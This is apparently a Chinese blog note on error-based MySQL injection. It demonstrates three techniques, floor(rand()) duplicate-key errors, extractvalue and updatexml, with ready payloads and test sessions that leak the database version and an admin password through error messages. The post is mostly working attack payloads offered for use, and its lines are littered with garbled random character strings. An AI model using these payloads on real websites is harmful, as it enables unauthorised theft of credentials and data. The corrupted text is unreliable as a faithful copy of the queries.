关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​

mysql> show tables;
7 _5 I7 k1 i4 L5 t1 g+----------------+
| Tables_in_test |
+----------------+
" B) L5 s! p& t0 S% q# G| admin          |
3 b' P0 g9 J& |3 D| article        |
+----------------+


- g* v( V6 T$ L2 Y
" ]1 O) U& Z- n- V6 u$ h# qmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
7 U, A+ g" G5 ]9 p9 n% W+ R" [| pass  | varchar(50)      | NO   |     | NULL    |                |
& ^4 x! {* W4 l: M  O( {+-------+------------------+------+-----+---------+----------------+


$ A6 R: G8 `' Q! d! s4 ]6 z
  Y: k' E9 I9 z2 |0 p( ]mysql> describe article;
* R" ]! d/ i3 ^2 H# ~+---------+------------------+------+-----+---------+----------------+
+ B/ X( F6 \1 d| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
6 _- H) F; c2 x; K1 I0 k| title   | varchar(50)      | NO   |     | NULL    |                |
+ n" R/ I2 m9 o9 }" j| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
/ `! I3 r" q5 T& v* t# F可以通过如下一些利用代码
9 C$ f9 a7 V) `2 Y# D$ ]* F6 J/ Z
5 x8 j9 z" m; R7 h; `5 U# R
. D" K5 Y8 T, Q5 G1 o7 F( band select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
) l8 k; j0 j3 s6 q# F8 C7 K' \

and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
8 ~5 N1 l+ H) d1 i3 j: kfloor(rand(0)*2)));
举例如下：
6 G& }# t# N2 z6 N3 N$ h$ j2 Q: Z首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
2 b4 T- c4 @6 p0 U| id | title | content |
' f  y( @6 a, O' J. g; E+----+-------+---------+
|  1 | test  | do it   |
0 l2 l( {4 W7 B) p% r" D+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
0 [3 b1 p& V$ F" K1 Q7 d! a可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
# h  O- s& U) g. M4 E例如我们需要查询管理员用户名和密码：
" N3 ]) S& I  c! @Method1:


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
% l; W3 X5 E& S8 ?. }from information_schema.tables group by x)a);
  I! N( y% b* g5 c4 R) JERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
6 R; t+ Y0 a3 z+ Z) P4 ?Method2:
( a7 r( _: ~! K2 X9 T

2 M) L$ O6 I9 H" Bmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
  T, k* I8 f+ V; {0 A6 j0 rfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
; m5 G0 _, b, h2、ExtractValue
  R& K3 `' ^6 s测试语句如下
7 I' `, j# \& v' q5 p( {

5 {* \1 {+ v  ?$ \: {and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
' T; Q* O2 b. \3 J5 n实际测试过程
9 Z' |) Q; W/ o% {: A
7 Z, a6 E" P- H% b
' m6 N# D% I9 v9 a1 A1 rmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
# {- N7 l/ b6 w5 {ERROR 1105 (HY000): XPATH syntax error: '\admin888'
  E% M) a" z' P3、UpdateXml
测试语句


% P: c7 H3 G2 ]- qand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
7 ]) @. p1 v2 C% Q
- ^6 p4 W) x/ o/ \- K& S
% F! ?0 N7 K! B+ L, f; o8 f4 O& @mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
6 K" N. a* \7 R# _4 S, n" z(select pass from admin limit 1),0x5e24),1));
0 ]0 s0 W! y8 C$ |7 }4 fERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
3 b' C$ u+ p; cAll, thanks foreign guys.

​
/ E" B  M& k% x# L3 R